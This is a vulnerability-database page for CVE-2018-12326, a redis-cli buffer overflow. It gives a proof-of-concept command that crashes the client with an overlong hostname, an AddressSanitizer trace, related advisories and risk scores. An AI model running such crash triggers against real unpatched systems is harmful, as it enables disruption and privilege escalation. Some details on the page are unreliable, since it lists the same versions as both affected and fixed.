Redis-cli < 5.0 - Buffer Overflow (PoC)

🗓️ 18 Jun 2018 00:00:00Reported by Fakhri ZulkifliType

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Redis-cli Buffer Overflow Exploit - CVE-2018-1232

Reporter	Title	Published	Views	Family All 39
0day.today	Redis-cli < 5.0 - Buffer Overflow Exploit	19 Jun 201800:00	–	zdt
IBM Security Bulletins	Security Bulletin: Multiple Vulnerabilities In Redis affects Watson Studio Local (CVE-2018-12453, CVE-2018-12326, CVE-2018-11218)	20 Dec 201913:49	–	ibm
CNVD	redis-cli buffer overflow vulnerability	19 Jun 201800:00	–	cnvd
CVE	CVE-2018-12326	17 Jun 201814:00	–	cve
Cvelist	CVE-2018-12326	17 Jun 201814:00	–	cvelist
Debian	[SECURITY] [DLA DLA-1396-1] redis security update	26 Jun 201816:07	–	debian
Debian	[SECURITY] [DLA DLA-1396-1] redis security update	26 Jun 201816:07	–	debian
Debian CVE	CVE-2018-12326	17 Jun 201814:00	–	debiancve
exploitpack	Redis-cli 5.0 - Buffer Overflow (PoC)	18 Jun 201800:00	–	exploitpack
ICS	Philips Vue PACS (Update B)	6 Jul 202100:00	–	ics

# Exploit Title: Redis-cli < 5.0 - Buffer Overflow (PoC)
# Date: 2018-06-13
# Exploit Author: Fakhri Zulkifli
# Vendor Homepage: https://redis.io/
# Software Link: https://redis.io/download
# Version: 5.0, 4.0, 3.2
# Fixed on: 5.0, 4.0, 3.2
# CVE : CVE-2018-12326

# Buffer overflow in redis-cli of Redis version 3.2, 4.0, and 5.0 allows a local attacker
# to achieve code execution and escalate to higher privileges via a long string in the hostname parameter.

$ ./src/redis-cli -h `python -c 'print "A" * 300'`
Could not connect to Redis at AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:6379: Name or service not known

#0 0x4a4182 in vsnprintf /home/user/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:1566
#1 0x4a42d0 in snprintf /home/user/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:1637
#2 0x570159 in repl /home/user/redis/src/redis-cli.c:1624:5
#3 0x55ba77 in main /home/user/redis/src/redis-cli.c:6660:9
#4 0x7f6be5f6e82f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#5 0x4247a8 in _start (/home/user/redis/src/redis-cli+0x4247a8)

18 Jun 2018 00:00Current

8.2High risk

Vulners AI Score8.2

CVSS 24.6

CVSS 38.4

EPSS0.4183

Redis-cli &lt; 5.0 - Buffer Overflow (PoC)

Redis-cli < 5.0 - Buffer Overflow (PoC)